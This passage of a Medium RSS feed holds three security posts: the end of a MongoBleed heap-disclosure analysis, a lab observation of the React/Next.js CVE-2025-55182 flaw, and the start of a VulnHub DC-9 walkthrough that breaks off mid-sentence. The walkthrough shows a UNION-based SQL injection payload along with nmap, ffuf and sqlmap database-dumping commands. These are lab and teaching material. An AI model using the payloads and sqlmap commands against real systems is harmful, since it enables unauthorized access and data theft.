layers:</p><blockquote>WiredTiger engine <br>MongoDB runtime<br>Linux kernel metrics <br>Container runtime<br>Host filesystem paths.</blockquote><p>This is <strong>cross-layer heap disclosure</strong>.</p><p>An attacker can now:</p><ul><li>Fingerprint infrastructure</li><li>Infer workload patterns</li><li>Correlate database activity with system activity</li><li>Prepare targeted follow-on attacks</li></ul><p>All <strong>without authentication</strong>.</p><h3>5. Offset Variability Does Not Reduce Risk</h3><p>Just like Artifact 1:</p><ul><li>The <strong>exact offsets differ per run</strong></li><li>The <strong>presence of sensitive data does not</strong></li></ul><p>This artifact was recovered by scanning a <em>different offset range</em> than Artifact 1, demonstrating:</p><blockquote><em>Offset variability increases attacker flexibility — it does not prevent exploitation.</em></blockquote><h3>Artifact 3 — Invalid BSON Structures &amp; Transaction-Context Memory Reuse</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZgfFR0XwesYIEDyf6lWH8g.png" /></figure><p>Unlike the previous artifacts, which exposed <em>recognizable runtime data</em>, <strong>Artifact 3 demonstrates structural memory corruption leaking directly through MongoDB’s BSON parsing layer</strong>.</p><p>This artifact was obtained from interesting_artifact3.bin and contains multiple indicators of <strong>uninitialized heap memory being interpreted as BSON elements</strong>.</p><h3>1. Invalid BSON Type Identifiers</h3><p>Throughout the artifact, we observe repeated log patterns such as:</p><pre>invalid BSON type 108<br>invalid BSON type 58<br>invalid BSON type 110<br>invalid BSON type 251<br>invalid BSON type 168</pre><p>These values <strong>do not correspond to valid BSON type identifiers</strong> as defined by the BSON specification.</p><p><strong>What this tells us</strong></p><p>MongoDB is:</p><ul><li>Reading arbitrary heap memory</li><li>Treating it as BSON-encoded data</li><li>Attempting to deserialize it without proper validation</li></ul><p>This is not malformed client input — this is <strong>server-side memory reuse</strong> being surfaced to the client.</p><h3>2. Corrupted Field Names &amp; Length Fields</h3><p>Artifact 3 repeatedly shows:</p><ul><li>Non-null-terminated field names</li><li>Garbled UTF-8 sequences</li><li>Length-prefixed fields that do not match actual buffer boundaries</li></ul><p>Examples include:</p><pre>with field name &lt;garbled bytes&gt;<br>BSON length in element with field name &lt;corrupted&gt;</pre><p>This strongly suggests that:</p><ul><li>BSON parsing is occurring on <strong>partially overwritten heap buffers</strong></li><li>Field-name pointers reference stale memory regions</li><li>Length metadata originates from unrelated allocations</li></ul><p>In short: <strong>MongoDB is serializing memory it never initialized for BSON use.</strong></p><h3>3. Transaction Lifecycle Leakage</h3><p>One of the most critical lines visible in this artifact:</p><pre>... after allocating the transaction ID</pre><p>This is not arbitrary text.</p><p>This indicates that the leaked memory region overlaps with <strong>transaction management structures</strong>, likely allocated during:</p><ul><li>Session initialization</li><li>Transaction ID assignment</li><li>Internal operation tracking</li></ul><p><strong>Why this matters</strong></p><p>Transaction-related memory often contains:</p><ul><li>Operation metadata</li><li>Timestamps</li><li>State flags</li><li>Internal identifiers used for consistency guarantees</li></ul><p>Leaking this data:</p><ul><li>Breaks transaction isolation assumptions</li><li>Enables correlation of internal operations</li><li>Risks exposing write-ordering or concurrency behavior</li></ul><h3>5. Offset Variability Still Applies — and Still Doesn’t Help</h3><p>Just like previous artifacts:</p><ul><li>The exact offsets used to trigger this leak change per run</li><li>The <em>class of data leaked does not</em></li></ul><p>This artifact was obtained using a <strong>different offset range</strong> than Artifact 1 and 2, reinforcing the core finding:</p><blockquote><em>Offset randomization does not mitigate uninitialized heap disclosure.</em></blockquote><p>It only changes <em>which</em> sensitive structure gets leaked.</p><h3>6. Practical Security Impact</h3><p>From an attacker’s perspective, Artifact 3 enables:</p><ul><li>Heap layout inference</li><li>Transaction behavior analysis</li><li>Identification of internal MongoDB state transitions</li><li>Confidence that the leak is systemic, not accidental</li></ul><p>From a defender’s perspective, this confirms:</p><ul><li>A memory-safety flaw</li><li>A parsing boundary violation</li></ul><h3>Artifact 4 — Recurrent Heap Reuse Across BSON Element Boundaries</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MXlv9GFlymH85fTPyM7nfA.png" /><figcaption>Artifact 4</figcaption></figure><p>If Artifact 3 demonstrated <em>unsafe BSON deserialization</em>, <strong>Artifact 4 demonstrates that the issue is persistent, repeatable, and spans multiple BSON element lifecycles</strong>.</p><p>This artifact was captured from interesting_artifact4.bin using a different offset range, yet it exhibits the <strong>same failure patterns</strong> — which is exactly what makes it critical.</p><h3>1. Reappearance of Invalid BSON Type IDs</h3><p>Artifact 4 again exposes a wide range of invalid BSON type identifiers:</p><pre>BSON type 38<br>BSON type 32<br>BSON type 79<br>BSON type 233<br>BSON type 100<br>BSON type 90<br>BSON type 153<br>BSON type 164</pre><p>These values are <strong>not valid BSON types</strong> and appear repeatedly <strong>within a single response buffer</strong>.</p><p><strong>Key observation</strong></p><p>This confirms that:</p><ul><li>The vulnerability is not tied to a single malformed structure</li><li>Multiple independent heap regions are being parsed as BSON</li><li>The parser does not fail fast on invalid types</li></ul><p>Instead, MongoDB continues parsing deeper into corrupted memory.</p><h3>2. Element Boundary Collapse</h3><p>One of the most dangerous patterns visible in Artifact 4 is <strong>element boundary loss</strong>.</p><p>Symptoms include:</p><ul><li>Field names overlapping with previous element payloads</li><li>Type identifiers appearing mid-string</li><li>Repeated escape sequences (\\\\\\\\) suggesting pointer misalignment</li></ul><p>This indicates that the BSON parser is:</p><ul><li>Trusting length fields sourced from stale memory</li><li>Walking past legitimate allocation boundaries</li><li>Treating unrelated heap data as structured BSON</li></ul><p>This is <strong>structural corruption</strong>, not just leakage.</p><h3>3. Nested Corruption Patterns (Parser Re-entrancy)</h3><p>Artifact 4 shows deeply nested escape sequences and repetition:</p><pre>\\\\\\\\\\\\\\\\</pre><p>This pattern is especially important.</p><p>It suggests that:</p><ul><li>Corrupted memory is being <em>re-serialized</em></li><li>Previously leaked heap data is reused in subsequent allocations</li><li>The parser may be operating on buffers that were already partially serialized</li></ul><p>In other words, <strong>memory corruption feeds back into the serialization pipeline</strong>.</p><p>This drastically increases exploitability over time.</p><h3>4. Field Name Pollution &amp; Metadata Mixing</h3><p>Throughout Artifact 4, we see:</p><ul><li>Corrupted field names</li><li>Embedded metadata-like structures</li><li>Partial ASCII fragments mixed with binary</li></ul><p>Examples include fragments resembling:</p><ul><li>Internal counters</li><li>Length fields</li><li>State flags</li></ul><p>This implies that <strong>non-BSON internal MongoDB structures are being surfaced</strong> through the BSON response path.</p><p>At this stage, the leak is no longer confined to:</p><ul><li>Configuration</li><li>Metrics</li><li>Runtime stats</li></ul><p>It is now leaking <strong>control-plane memory</strong>.</p><h3>5. Why Artifact 4 Confirms a Systemic Bug</h3><p>At this point, we have four independent artifacts:</p><blockquote>Artifact 1: Engine &amp; config memory leakage<br>Artifact 2: OS, container, and process leakage<br>Artifact 3: Unsafe BSON deserialization<br>Artifact 4: Persistent heap reuse &amp; parser boundary collapse</blockquote><p>Artifact 4 proves that:</p><ul><li>Different offsets still trigger the leak</li><li>Different heap regions are exposed</li><li>The same vulnerability class reappears consistently</li></ul><p>This eliminates:</p><ul><li>One-off corruption</li><li>Bad input handling</li><li>Single code-path bugs</li></ul><p>What remains is <strong>uninitialized or improperly recycled heap memory being consumed by BSON parsing logic</strong>.</p><h3>6. Offset Randomization Is Not a Mitigation</h3><p>Just like previous artifacts:</p><ul><li>Offsets differ</li><li>Output differs</li><li>Vulnerability behavior remains consistent</li></ul><p>This confirms an important point:</p><blockquote><em>Offset instability reduces reliability for attackers,<br> </em><strong><em>but increases uncertainty for defenders.</em></strong></blockquote><p>You cannot predict <em>what</em> leaks — only that <em>something will</em>.</p><h3>7. Security Implications</h3><p>Artifact 4 confirms that MongoBleed:</p><ul><li>Is not limited to metrics or diagnostics</li><li>Is not limited to a single parser failure</li><li>Cannot be fully mitigated by configuration hardening</li></ul><p>This class of bug:</p><ul><li>Undermines memory isolation guarantees</li><li>Breaks structured serialization assumptions</li><li>Exposes internal state progressively over time</li></ul><h3>Mitigation &amp; Defensive Guidance</h3><p>Based on the observed artifacts and confirmed behavior of <strong>CVE-2025–14847 (MongoBleed)</strong>, mitigation falls into <strong>three practical categories</strong>. These are listed in order of <strong>effectiveness</strong>, not convenience.</p><h3>1. Disable the Zlib Network Compressor (Immediate Risk Reduction)</h3><p>MongoBleed is <strong>strongly correlated with compressed network responses</strong>, particularly when zlib is enabled.</p><p>The artifacts show that:</p><ul><li>Corruption frequently appears <em>after decompression</em></li><li>BSON parsing operates on buffers produced by the compression pipeline</li><li>Invalid BSON types emerge from memory regions that should have been zeroed post-decompression</li></ul><h3>2. Avoid Exposing MongoDB Over the Network</h3><p>Several leaked artifacts clearly show:</p><ul><li>Client metadata</li><li>Runtime stats</li><li>Container and host paths</li><li>Internal process state</li></ul><p>This confirms that <strong>any network-accessible MongoDB instance is at risk</strong>, even if authentication is enabled.</p><p><strong>Recommended deployment model</strong></p><ul><li>Bind MongoDB to localhost only</li></ul><p>Access it via:</p><ul><li>Application layer proxy</li><li>SSH tunnel</li><li>Private network interface</li><li>Never expose MongoDB directly to the public internet</li></ul><h3>3. Upgrade to Fixed / Stable Versions (Only True Fix)</h3><p>Ultimately, MongoBleed is a <strong>memory safety bug</strong>. Configuration changes only reduce symptoms.</p><p>The only real fix is upgrading to versions where the underlying issue has been addressed.</p><p>Fixed Versions:</p><ul><li>MongoDB Server 8.2.3+</li><li>MongoDB Server 8.0.17+</li><li>MongoDB Server 7.0.28+</li><li>MongoDB Server 6.0.27+</li><li>MongoDB Server 5.0.32+</li><li>MongoDB Server 4.4.30+</li></ul><h3><strong>Final Takeaway</strong></h3><p>MongoBleed (CVE-2025–14847) demonstrates a critical but often underestimated class of vulnerabilities: <strong>protocol-level memory disclosure in trusted infrastructure software</strong>.<br> The leaked data is not theoretical — it reflects <strong>live server memory</strong>, including <strong>filesystem paths, runtime state, kernel metrics, container mounts, and BSON parsing context</strong>.</p><p>Because offsets vary per execution, exploitation is <strong>non-deterministic but repeatable</strong>, which is precisely what makes this class of bug dangerous in real-world environments.<br> No authentication bypass is required — <strong>only the ability to speak MongoDB’s wire protocol</strong>.</p><p>If you are running a vulnerable version, <strong>assume memory exposure is possible</strong> until patched.</p><h3>Artifact-Based Observations</h3><p><strong>Artifact 1 — WiredTiger / Cache Metadata Leakage</strong></p><blockquote><em>Demonstrates leakage of internal WiredTiger configuration, cache behavior, and checkpoint metadata directly from process memory during malformed request handling.</em></blockquote><p><strong>Artifact 2 — Host &amp; Container Runtime Exposure</strong></p><blockquote><em>Confirms disclosure of </em><em>/proc, cgroup, Docker overlay, and host filesystem paths, proving the leak crosses database boundaries into OS-level context.</em></blockquote><p><strong>Artifact 3 — BSON Parser State Corruption</strong></p><blockquote><em>Shows invalid and partially parsed BSON structures containing residual heap memory, highlighting unsafe handling of malformed compressed payloads.</em></blockquote><p><strong>Artifact 4 — Repeated Uninitialized Memory Reads</strong></p><blockquote><em>Confirms that varying offsets across runs still consistently return sensitive memory fragments, proving the issue is systemic rather than accidental.</em></blockquote><p><strong><em>MongoBleed isn’t about crashing MongoDB — it’s about quietly reading what the database never meant to expose.</em></strong></p><p>Thank You for reading!!</p><h3><strong>About me</strong></h3><p>I’m an aspiring penetration tester and cybersecurity researcher with a background in IoT and software development. I enjoy exploring systems from the inside out — understanding how they behave under real-world conditions and identifying where assumptions break.</p><p>Most of my learning comes from hands-on practice through platforms like VulnHub, along with experiments in my own isolated home lab. Rather than copying commands, I focus on understanding <em>why</em> an issue exists and how different components interact, which is why I document my findings to help others improve their testing methodology.</p><p>I also enjoy building small utilities and automation tools to streamline reconnaissance and enumeration. One such project is <strong>VedicRecon</strong>, a Python-based recon tool that I use regularly during labs and practical testing to keep enumeration structured and repeatable.</p><p>If you’d like to follow my learning journey or explore my work, you can find my tools and write-ups below:</p><ul><li><strong>VedicRecon (GitHub):</strong> <a href="https://github.com/Shikhar0708/VedicRecon">https://github.com/Shikhar0708/VedicRecon</a></li><li><strong>Security Write-ups &amp; Walkthroughs (Medium):</strong> <a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=595a39095dc6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Frontend Assumptions Break: Observing Server-Side Command Execution in React & Next.js]]></title>
            <link>https://medium.com/@shikharsinha34920/when-frontend-assumptions-break-observing-server-side-command-execution-in-react-next-js-a63bb72747b5?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a63bb72747b5</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[nextjs]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Tue, 16 Dec 2025 15:18:12 GMT</pubDate>
            <atom:updated>2025-12-16T15:23:53.333Z</atom:updated>
            <content:encoded><![CDATA[<h3>⚠️[CVE-2025–55182]⚠️</h3><h4>All testing described below was performed in a fully isolated lab environment for educational and defensive research purposes only. No payloads, exploit code, or reproduction steps are shared.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JndyN-OO3dZ5EMw2zfwIAQ.png" /></figure><p>Modern frontend frameworks like <strong>React</strong> and <strong>Next.js</strong> are often perceived as safe by default because developers associate them primarily with client-side execution. Over time, this perception can lead to overly trusting execution paths that, in reality, run <strong>entirely on the server</strong>.</p><p>While researching <strong>CVE-2025–55182</strong>, a recently disclosed critical vulnerability affecting <strong>React Server Components and Next.js</strong>, I set up a small isolated lab to understand <em>how and why</em> the impact of this issue can escalate so quickly.</p><p>What I observed reinforces a key lesson for both developers and defenders:</p><blockquote><strong><em>When frontend abstractions leak into backend execution contexts, the risk profile changes dramatically.</em></strong></blockquote><h3>Affected Versions (CVE-2025–55182)</h3><p>The vulnerability impacts specific versions of <strong>React Server Components</strong> and <strong>Next.js</strong> where unsafe deserialization and server-side execution paths intersect.</p><h3>React Server Components (Affected)</h3><p>The issue affects React Server Component implementations in:</p><ul><li><strong>React 19.0.0</strong></li><li><strong>React 19.1.0</strong></li><li><strong>React 19.1.1</strong></li><li><strong>React 19.2.0</strong></li></ul><p>This includes packages such as:</p><ul><li>react-server-dom-webpack</li><li>react-server-dom-parcel</li><li>react-server-dom-turbopack</li></ul><h3>Next.js (Affected)</h3><p>Next.js versions using the App Router and React Server Components are impacted, including:</p><ul><li><strong>Next.js 15.x</strong></li><li><strong>Next.js 16.x</strong></li><li>Certain <strong>canary builds</strong> (e.g., 14.3.0-canary.77+) when server actions are enabled</li></ul><p>Patched versions have since been released and should be applied immediately.</p><h3>Lab Setup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*_ypHg1b1K7N5QCScBoUBUw.png" /><figcaption>Vulnerable Research UI</figcaption></figure><p>To safely observe the behavior:</p><ul><li>A <strong>Dockerized Next.js application</strong> was deployed</li><li>The environment was isolated on a local network</li><li>No external services or credentials were used</li><li>Default Node.js runtime inside the container</li></ul><p>The goal was <strong>not exploitation</strong>, but observation:</p><blockquote>Does code execution actually occur on the server, and if so, where?</blockquote><p>During testing, it was possible to observe <strong>server-side command execution</strong> occurring within the <strong>application container</strong> under specific conditions.</p><p>To validate this safely:</p><ul><li>Only <strong>benign system commands</strong> were executed</li><li>No persistence, payloads, or reverse shells were used</li></ul><h3>Key Observation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*FS-e0SRIqPd50Cp0g9-P2A.png" /><figcaption>Command Sent— Attacker Side</figcaption></figure><p>A simple system command returned the <strong>Docker container identifier</strong>, which matched:</p><ul><li>The active container shown on the host system</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AiAx0z1lMirY0RAJgG8yuA.png" /></figure><ul><li>The container responsible for handling application requests</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*_3T0RnPey7h9BxxeME6AVw.png" /><figcaption>Command Executed — Victim Side</figcaption></figure><p>This confirmed that execution occurred:</p><ul><li>Server-side (not client-side)</li><li>Inside the running application container</li><li>Within the request-handling lifecycle</li></ul><p>This correlation was further supported by:</p><ul><li>Application request logs</li><li>Container metadata</li><li>Execution context details</li></ul><p>Individually, none of these behaviors are surprising:</p><ul><li>Node.js exposes powerful system-level modules</li><li>Next.js server actions execute backend code</li><li>Containers often run with broader privileges than intended</li></ul><p>However, when combined:</p><ul><li>Trust boundaries blur</li><li>Input assumptions fail</li><li>Impact escalates rapidly</li></ul><p>In real-world deployments, this can translate into:</p><ul><li>Arbitrary command execution within application containers</li><li>Access to internal files, environment variables, or services</li><li>High-impact outcomes even without host-level compromise</li></ul><p>This explains why CVE-2025–55182 is considered <strong>critical</strong> under CVSS scoring.</p><h3>Evidence Collected (Responsibly)</h3><p>To demonstrate impact without enabling abuse, the following artifacts were documented:</p><ul><li>Application running normally in the browser</li><li>Active Docker container hosting the app</li><li>Victim-side request and application logs</li><li>Output of a benign server-side command</li><li>Container identity correlation (hostname)</li><li>Execution context (id)</li><li>Limited filesystem visibility (ls within app directory)</li></ul><p>No exploit payloads or technical reproduction details are disclosed.</p><h3>The Underlying Concepts: __proto__ and child_process</h3><p>To understand why this issue is so impactful, it helps to look at <strong>two JavaScript / Node.js concepts</strong> that are powerful on their own — but dangerous when combined incorrectly.</p><h3>What is __proto__ ?</h3><p>In JavaScript, every object inherits behavior from a prototype.<br>The special property __proto__ controls <strong>what an object inherits from</strong>.</p><p>Under normal circumstances, this is an internal implementation detail.<br>However, if user-controlled data is allowed to influence __proto__, it can result in <strong>prototype pollution</strong> — a condition where properties are silently injected into objects that were never meant to receive them.</p><p>Why this is dangerous:</p><ul><li>Prototype pollution doesn’t target <em>one object</em></li><li>It affects <strong>entire execution paths</strong></li><li>Code that never explicitly references user input may still behave differently</li></ul><p>In server-side frameworks, this can subtly alter:</p><ul><li>configuration objects</li><li>execution context</li><li>internal assumptions about “trusted” values</li></ul><p>In short:</p><blockquote><strong><em>Prototype pollution allows attacker-controlled data to influence code that never expected it.</em></strong></blockquote><h3>What is child_process in Node.js</h3><p>Node.js provides a built-in module called child_process.</p><p>Its purpose is legitimate and powerful:</p><ul><li>Running system commands</li><li>Spawning background processes</li><li>Interacting with the underlying OS</li></ul><p>This is similar in spirit to:</p><ul><li>subprocess in Python</li><li>system() / exec() in PHP</li></ul><p>The key difference is <strong>where it lives</strong>:</p><ul><li>child_process is part of the <strong>Node.js runtime</strong></li><li>Any server-side JavaScript code that can access it gains <strong>OS-level execution capability</strong></li></ul><p>This is not inherently unsafe — <em>when access is tightly controlled</em>.</p><h3>Why the combination is dangerous</h3><p>Individually:</p><ul><li>__proto__ is a JavaScript inheritance mechanism</li><li>child_process is a legitimate system interface</li></ul><p>Together, under unsafe conditions:</p><ul><li>Prototype pollution can influence objects involved in execution flow</li><li>Server-side framework code may unintentionally expose powerful internals</li><li>Execution paths that were assumed “safe” can cross into <strong>system-level behavior</strong></li></ul><p>In environments like <strong>Next.js server actions / React Server Components</strong>, this becomes especially risky because:</p><ul><li>Code that <em>looks</em> frontend-oriented may execute server-side</li><li>Trust boundaries are blurred by abstraction</li><li>The runtime has access to system modules by design</li></ul><p>This is why the impact escalates quickly and why CVE-2025–55182 is rated <strong>critical</strong>.</p><h3>Potential Denial of Service (DoS) Impact</h3><p>Although my testing focused on <strong>observing server-side execution behavior</strong>, it is important to note that vulnerabilities of this class can also introduce <strong>Denial of Service (DoS) risk</strong>, even without full exploitation.</p><h3>Why DoS is a realistic concern</h3><p>In server-side JavaScript runtimes such as <strong>Node.js</strong>, certain operations can:</p><ul><li>Block the event loop</li><li>Spawn unmanaged processes</li><li>Consume CPU or memory resources</li><li>Hold open execution contexts indefinitely</li></ul><p>When these behaviors occur inside:</p><ul><li><strong>Next.js server actions</strong></li><li><strong>React Server Components</strong></li><li>or request-handling paths</li></ul><p>they can directly affect <strong>application availability</strong>, not just confidentiality or integrity.</p><h3>Event loop blocking and resource exhaustion</h3><p>Unlike traditional multi-threaded servers, Node.js relies heavily on a <strong>single event loop</strong>.<br> If execution paths triggered by user input cause:</p><ul><li>Long-running synchronous operations</li><li>Uncontrolled child processes</li><li>Hanging or non-terminating execution</li></ul><p>the result may be:</p><ul><li>Requests piling up</li><li>Legitimate users being blocked</li><li>Increased latency or total service unavailability</li></ul><p>Importantly, this impact can occur <strong>without crashing the container</strong> and may not immediately appear as an error.</p><h3>Why this matters even without exploitation</h3><p>A key takeaway is that:</p><blockquote><strong><em>Availability can be impacted even when attackers are not attempting full system compromise.</em></strong></blockquote><p>In some environments:</p><ul><li>A single malformed request</li><li>Repeated triggering of an unsafe execution path</li><li>Or interaction with blocking system-level operations</li></ul><p>may be sufficient to degrade or deny service.</p><p>This expands the risk profile of the vulnerability beyond code execution alone and reinforces its <strong>critical severity rating</strong>.</p><h3>Defensive Takeaways</h3><h3>Treat Server Actions as Backend Code</h3><p>Anything executed via:</p><ul><li>React Server Components</li><li>Next.js server actions</li><li>API routes</li></ul><p>should be threat-modeled like traditional backend logic.</p><h3>Reduce Runtime Privileges</h3><ul><li>Avoid running containers as root where possible</li><li>Restrict filesystem and process permissions</li><li>Limit access to Node.js system modules</li></ul><h3>Upgrade Framework Versions Promptly</h3><p>Framework vulnerabilities evolve rapidly. Staying on affected versions significantly increases exposure.</p><h3>Monitor Application-Layer Signals</h3><p>Unexpected redirects, request patterns, and execution anomalies often provide early indicators of misuse.</p><h3>Final Thoughts</h3><p>This research wasn’t about “getting a shell.”</p><p>It was about understanding <strong>how modern framework abstractions can fail when execution contexts are misunderstood</strong>.</p><p>The core lesson is simple:</p><blockquote><strong><em>If code executes on the server, it must be treated — secured, monitored, and reviewed — as server-side code, regardless of how frontend-friendly it appears.</em></strong></blockquote><p>This is not a React problem.<br> It’s not a Next.js problem alone.</p><p>It’s a <strong>trust boundary problem</strong> amplified by modern abstractions.</p><p>I’m sharing these observations to help teams patch faster, review assumptions more carefully, and reduce risk before it turns into real-world impact.<br><em>Thank you for reading!!</em></p><h3>About the Author</h3><p>I’m an aspiring penetration tester and cybersecurity researcher with a background in IoT and software development. I enjoy exploring systems from the inside out — understanding how they behave under real-world conditions and identifying where assumptions break.</p><p>Most of my learning comes from hands-on practice through platforms like VulnHub, along with experiments in my own isolated home lab. Rather than copying commands, I focus on understanding <em>why</em> an issue exists and how different components interact, which is why I document my findings to help others improve their testing methodology.</p><p>I also enjoy building small utilities and automation tools to streamline reconnaissance and enumeration. One such project is <strong>VedicRecon</strong>, a Python-based recon tool that I use regularly during labs and practical testing to keep enumeration structured and repeatable.</p><p>If you’d like to follow my learning journey or explore my work, you can find my tools and write-ups below:</p><ul><li><strong>VedicRecon (GitHub):</strong> <a href="https://github.com/Shikhar0708/VedicRecon">https://github.com/Shikhar0708/VedicRecon</a></li><li><strong>Security Write-ups &amp; Walkthroughs (Medium):</strong> <a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a63bb72747b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC-1 → DC-9: A Full 9-Machine Pentesting Series | Episode 8: DC-9]]></title>
            <link>https://medium.com/@shikharsinha34920/dc-1-dc-9-a-full-9-machine-pentesting-series-episode-8-dc-9-7688ad3578e8?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7688ad3578e8</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Sun, 14 Dec 2025 15:48:22 GMT</pubDate>
            <atom:updated>2025-12-14T15:48:22.833Z</atom:updated>
            <content:encoded><![CDATA[<p><em>[Series Link]</em> :- <a href="https://www.vulnhub.com/series/dc,199/">https://www.vulnhub.com/series/dc,199/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hco1Awm6Zop88-5SN3NU2w.png" /></figure><h3>Welcome to the final chapter of my DC series journey.</h3><p>In this article, I’ll be walking through <strong>DC-9</strong> — a thoughtfully designed machine that stands out for its <strong>well-structured attack chain</strong> and one of the most <strong>satisfying privilege-escalation paths</strong> in the entire series.</p><p>This box strongly rewards <strong>careful enumeration</strong>, <strong>patience</strong>, and <strong>disciplined decision-making</strong>. Rather than relying on a single vulnerability, DC-9 demonstrates how <strong>multiple small misconfigurations</strong>, when chained together, can ultimately lead to <strong>full system compromise</strong> — a scenario that closely mirrors real-world environments.</p><h3>Index</h3><ul><li>Reconnaissance</li><li>Enumeration</li><li>Exploitation</li><li>Privilege Escalation</li><li>Mitigation</li><li>About Me</li></ul><h3>Step 1: Reconnaissance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*4jyIOORsLvT-3MdUwQlUGg.png" /></figure><p>To identify the IP address of the target machine on the local network, I performed an <strong>ARP scan</strong>. Since the target was running within the same network segment, ARP provided a fast and reliable way to enumerate active hosts.</p><pre>sudo arp-scan -l</pre><p>This command scans the local subnet and returns a list of live hosts along with their corresponding IP and MAC addresses, allowing the target machine to be identified quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*Q0qWmgnt4w-Mhp4nInznkA.png" /></figure><p>After identifying the target machine, the next step was to perform a <strong>comprehensive Nmap scan</strong> to uncover available services and potential attack vectors.</p><p>To achieve this, I ran a full port scan with service and script detection enabled:</p><pre>nmap -sV -sC -p- -A &lt;victim_IP&gt;</pre><p>This scan enumerates:</p><ul><li>all TCP ports (-p-)</li><li>running services and versions (-sV)</li><li>default Nmap scripts for common misconfigurations (-sC)</li><li>OS and aggressive detection (-A)</li></ul><p>The scan results showed <strong>port 80 (HTTP)</strong> as open, while <strong>port 22 (SSH)</strong> appeared in a <em>filtered</em> state. This usually hints that something is intentionally blocking direct access rather than the service being completely unavailable.</p><p>In many cases, a filtered port points toward <strong>port knocking</strong>. With port knocking, a service stays closed until the client sends a <strong>specific sequence of connection attempts</strong> to certain ports. Once the correct sequence is received, the firewall briefly opens the protected port for that client.</p><p>An easy way to think about this is like visiting a friend’s house. If your friend recognizes you, the door opens. If a stranger shows up, the door stays shut. Port knocking works the same way — the system only “opens the door” when it sees the right knock pattern.</p><p>Spotting this early helped shape the next steps in enumeration and exploitation.</p><h3>STEP-2 : ENUMERATION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TY7GPNv7yzJaoXwgYT0eHQ.png" /></figure><p>I started by visiting <strong>port 80</strong> in the browser. At first glance, there was nothing particularly interesting. I checked around a bit and even looked at the <strong>page source</strong>, since CTF-style environments sometimes hide small hints there — but this time, it didn’t reveal anything useful.</p><p>With no obvious leads on the main page, I shifted my focus to <strong>directory fuzzing</strong> to uncover any hidden or unlinked pages that might expand the attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9WutVGOOapsl8Ka5KCN7pg.png" /></figure><p>To enumerate hidden directories and files, I used <strong>ffuf</strong> with a common wordlist and multiple file extensions:</p><pre>ffuf -u $url/FUZZ -w /wordlist.txt -e .php,.txt,.war,.html,.zip -ac</pre><p>This helped surface several interesting endpoints, one of which was <strong>welcome.php</strong>. When I visited this page in the browser, it displayed a message indicating that I was <strong>already logged in as an admin</strong>.</p><p>This was an immediate red flag and strongly suggested that authentication checks were either incomplete or incorrectly handled, making it a promising area to investigate further.</p><p>I spent some time enumerating the application further, but nothing obvious stood out. At this point, I started suspecting that the search functionality might be vulnerable to <strong>LFI or SQL injection</strong>.</p><p>To dig deeper, I fired up <strong>Burp Suite</strong> to intercept and analyze the search requests. I first tested for <strong>directory traversal</strong>, but that didn’t yield any results. With LFI ruled out (at least for now), I shifted my focus fully toward <strong>SQL injection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*alG-GF2-pHupMlPCbVwXug.png" /></figure><pre>&#39;+UNION+null,null,null,null,null,null #</pre><p>Initial tests didn’t return anything meaningful, but after trying basic <strong>AND</strong>, <strong>OR</strong>, and <strong>UNION-based</strong> payloads in the search field, I eventually received a positive response with a <strong>UNION-based injection</strong> — confirming the presence of SQLi.</p><h3>STEP-3 : EXPLOITATION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HcBqT4-A1WiP94RmgaIiTA.png" /></figure><p>Once the injection point was confirmed, I copied the <strong>POST request</strong> from Burp Suite’s <em>Request</em> tab, saved it to a file, and named it <strong>root</strong>.</p><p>With the request captured and ready, it was time to move on to <strong>SQL injection using SQLmap.</strong></p><h4>Founding Databases:</h4><pre>sqlmap root --level=5 --risk=3 --dbs --batch</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*lRZRhnQkBkpv0QSdJLSMgw.png" /></figure><p>Before long, the injection revealed the presence of <strong>three databases</strong>. Among them, two stood out as particularly interesting:</p><ul><li><strong>Staff</strong></li><li><strong>users</strong></li></ul><p>These databases were clear candidates for further enumeration, so I focused my attention there next.</p><p>I started by enumerating the <strong>users</strong> database first to see what information it contained.</p><h4>Listing tables:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/215/1*GrABn178yULoE5J7ayMKcA.png" /></figure><pre>sqlmap -D users --tables</pre><h4>Listing data inside the users table:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*URRU0blPQIE5bxN7XPy8hQ.png" /></figure><p>To enumerate the <strong>Users</strong> database, I used the following sqlmap commands:</p><ol><li>First, to list all the columns in the UserDetails 